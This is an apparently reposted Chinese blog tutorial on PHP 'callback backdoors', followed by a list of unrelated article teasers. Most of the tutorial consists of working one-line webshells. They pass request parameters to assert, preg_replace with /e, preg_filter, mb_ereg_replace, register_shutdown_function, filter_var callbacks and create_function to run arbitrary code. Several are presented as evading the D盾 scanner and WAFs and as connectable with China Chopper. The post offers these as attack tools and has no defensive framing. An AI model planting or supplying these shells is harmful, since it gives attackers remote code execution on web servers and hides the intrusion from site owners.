创造tips的秘籍——PHP回调后门

news2024/11/5 18:30:01

0x00 前言

php中包含回调函数参数的函数,具有做后门的潜质。

我就自己给这类webshell起了个名字:回调后门。

0x01 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

call_user_func_array('assert', array($_REQUEST['pass']));

0x02 数组操作造成的单参数回调后门

进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

我最早想到个最“简单好用的”:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

类似array_filter,array_map也有同样功效:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

依旧被D盾查杀。

果然,简单的数组回调后门,还是很容易被发现与查杀的。

0x03 php5.4.8+中的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

比如如下回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

这个后门在php5.3时会报错,提示assert只能有一个参数:

php版本改作5.4后就可以执行了:

同样的道理,这个也是功能类似:

<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

再给出这两个函数,面向对象的方法:

<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
​
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

再来两个类似的回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
​
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

0x04 三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:

  1. 一个参数:assert

  2. 两个参数:assert (php5.4.8+)

  3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

不截图了。

看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

另一个:

<?php
preg_filter('|.*|e', $_REQUEST['pass'], '');

这两个一句话都是不杀的:

0x05 无回显回调后门

回调后门里,有个特殊的例子:ob_start。

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

即使没输出,实际代码是执行了的。也算作回调后门的一种。

0x06 单参数后门终极奥义

preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。

这里给出几个好用不杀的回调后门

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

这个是php全版本支持的,且不报不杀稳定执行:

再来一个:

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

再来两个:

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

0x07 其他参数型回调后门

上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

所以我们需要去“构造”一个满足条件的回调函数。

怎么构造?使用create_function:

<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。

类似的,这个也同样:

<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2231739.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

中汽测评观察 亲子出行健康为先,汽车健康用材成重要考量

在中国&#xff0c;亲子出行是驾车的主要场景之一。汽车不仅仅是一种便捷的交通工具&#xff0c;更是生活中的移动“第三空间”。在此背景下&#xff0c;汽车健康用材不仅是消费者关注的焦点问题&#xff0c;也成为汽车企业发力的重要方向。 对消费者而言&#xff0c;在家庭亲子…

阿里巴巴Seata分布式事务解决方案

Seata是什么 Seata是一款开源的分布式事务解决方案&#xff0c;致力于在微服务架构下提供高性能和简单易用的分布式事务服务。 当开发框架为spring boot或者SSM&#xff0c;都可以使用Seata进行开发。 分布式事务是什么 在大型架构中&#xff0c;一般会把一个应用系统&#x…

Cuebric:用AI重新定义3D创作的未来

一、简介 Cuebric 是一家成立于2022年夏天的好莱坞创新公司,致力于为电影、电视、游戏和时尚等行业提供先进的AI多模态SaaS平台。自2024年1月正式推出以来,Cuebric 已经在市场上获得了广泛的认可和积极的反馈。目前,该平台正处于1.0版本的beta测试阶段,已募集约50万美元的…

【Spring IoCDI】IoC容器,IoC注解,Bean的使用

【Spring核心思想:IoC】 spring是一个开源框架&#xff0c;支持广泛的应用场景&#xff0c;简而言之:Spring是包含了众多工具方法的IoC容器 【IoC】 IoC的意思是「控制反转」&#xff0c;也就是说Spring是一个“控制反转”的容器 通用程序的实现代码&#xff0c;类的创建顺序…

Android笔记(三十一):Deeplink失效问题

背景 通过deeplink启动应用之后&#xff0c;没关闭应用的情况下&#xff0c;再次使用deeplink会失效的问题&#xff0c;是系统bug导致的。此bug仅在某些设备&#xff08;Nexus 5X&#xff09;上重现&#xff0c;launchMode并且仅当应用程序最初通过深层链接启动并再次通过深层…

深入理解Transformer中的位置编码

1 位置编码的作用 由于注意力的作用机制&#xff0c;不论输入序列的顺序如何&#xff0c;输出结果都是一样的。 也就是丢失了位置信息。 但是对于语言模型&#xff0c; 我们都知道顺序是很重要的&#xff0c; 所以需要对输入序列额外注入位置信息。 2 位置编码方式 Transfor…

Ansible 部署应用

Ansible Ansible 是基于 Python 开发&#xff0c;集合了众多优秀运维工具的优点&#xff0c;实现了批量运行命令、部署程序、配置系统等功能的自动化运维管理工具。默认通过 SSH 协议进行远程命令执行或下发配置&#xff0c;无需部署任何客户端代理软件&#xff0c;从而使得自动…

根据问题现象、用户操作场景及日志打印去排查C++软件问题,必要时尝试去复现问题

目录 1、概述 2、通过现有信息无法定位问题时&#xff0c;则需要尝试去复现问题 3、非崩溃问题与崩溃问题的一般排查思路 3.1、非崩溃问题的排查思路 3.2、崩溃问题的排查思路 4、难以复现问题的可能原因总结 4.1、问题难以复现&#xff0c;可能和某种特殊的业务场景或操…

STL——string(2)

博客ID&#xff1a;LanFuRenC系列专栏&#xff1a;C语言重点部分 C语言注意点 C基础 Linux 数据结构 C注意点 今日好题 声明等级&#xff1a;黑色->蓝色->红色 欢迎新粉加入&#xff0c;会一直努力提供更优质的编程博客&#xff0c;希望大家三连支持一下啦 目录 1) …

Spark的集群环境部署

一、Standalone集群 1.1、架构 架构&#xff1a;普通分布式主从架构 主&#xff1a;Master&#xff1a;管理节点&#xff1a;管理从节点、接客、资源管理和任务 调度&#xff0c;等同于YARN中的ResourceManager 从&#xff1a;Worker&#xff1a;计算节点&#xff1a;负责利…

【大数据学习 | kafka】kafka的数据存储结构

以上是kafka的数据的存储方式。 这些数据可以在服务器集群上对应的文件夹中查看到。 [hexuanhadoop106 __consumer_offsets-0]$ ll 总用量 8 -rw-rw-r--. 1 hexuan hexuan 10485760 10月 28 22:21 00000000000000000000.index -rw-rw-r--. 1 hexuan hexuan 0 10月 28 …

【Leecode】Leecode刷题之路第40天之组合总和II

题目出处 40-组合总和II-题目出处 题目描述 个人解法 思路&#xff1a; todo代码示例&#xff1a;&#xff08;Java&#xff09; todo复杂度分析 todo官方解法 40-组合总和II-官方解法 方法1&#xff1a;回溯 思路&#xff1a; 代码示例&#xff1a;&#xff08;Java&…

网络编程入门——网络原理初识

一、网络发展史 1.1 独立模式 即计算机之间相互独立&#xff0c;互不连通的。 1.2 网络互联 即将多台计算机连接在一起&#xff0c;完成数据共享。 数据共享本质是⽹络数据传输&#xff0c;即计算机之间通过⽹络来传输数据&#xff0c;也称为⽹络通信。 根据网络互联规模的不…

关于爬虫需要了解的基础知识 (一、 http协议)

声明 文章仅供学习与交流&#xff01;严禁用于任何商业与非法用途&#xff01;否则由此产生的一切后果均与作者无关&#xff01; 一、何为爬虫 爬虫&#xff08;Crawler&#xff09;是一种按照既定规则&#xff0c;在网络上自动爬取信息的程序或脚本&#xff0c;也称为网际网…

VidPanos:从随手拍摄的平移视频生成全景视频

在当今数字化时代,视频拍摄已经成为人们记录生活和分享经历的重要方式。然而,普通手机拍摄的视频往往受到视角的限制,无法完整地展现一个广阔的场景。今天,我们要介绍的 VidPanos 技术,为解决这个问题提供了一种创新的方法。 VidPanos 是由来自华盛顿大学、谷歌 DeepMind…

【05】如何解决tomcat命令提示符控制台乱码问题

Web项目开发过程中&#xff0c;直接在命令提示符窗口中通过输入startup.bat命令运行tomcat&#xff0c;在新弹出的tomcat命令提示符窗口中输出的中文是乱码问题的处理。 如何解决tomcat命令提示符控制台乱码问题 文章目录 如何解决tomcat命令提示符控制台乱码问题1.解决问题思路…

02- 模块化编程-003 LCD1602液晶显示时间与日期

1、液晶显示电路 2、电路原理简介 1. 电路组件与功能 PIC单片机&#xff08;PIC16F887&#xff09;&#xff1a; 主控制器&#xff0c;负责处理输入输出。 LCD显示屏&#xff08;LM061&#xff09;&#xff1a; 驱动数码管显示器&#xff0c;以显示时间和日期信息。 支持多个段…

conda下jupyterlab安装问题以及交互绘图问题记录

安装 1. 直接conda install jupyterlab就好&#xff0c;只要在base环境下安装就行&#xff0c;可以在任意环境下执行jupyter lab启动。 2. 打开jupyter lab后显示Could not determine jupyterlab build status without nodejs&#xff0c;可以执行conda install nodejs安装no…

华为OD机试 - 预订酒店(Java 2024 E卷 100分)

华为OD机试 2024E卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;E卷D卷A卷B卷C卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;私信哪吒&#xff0c;备注华为OD&#xff0c;加…

LM Head weights;ChatGPT-3词汇量:175,000;llama7b 词汇量,词嵌入维度:4096

目录 LM Head weights ChatGPT-3词汇量:175,000 llama7b 词汇量 词汇量:32000 max_position_embeddings: 4096 LM Head weights ChatGPT-3词汇量:175,000 ChatGPT-4 确切的词向量种类数量公开信息。但可以根据一些语言模型的相关知识进行推测分析。 一般来说,语言模…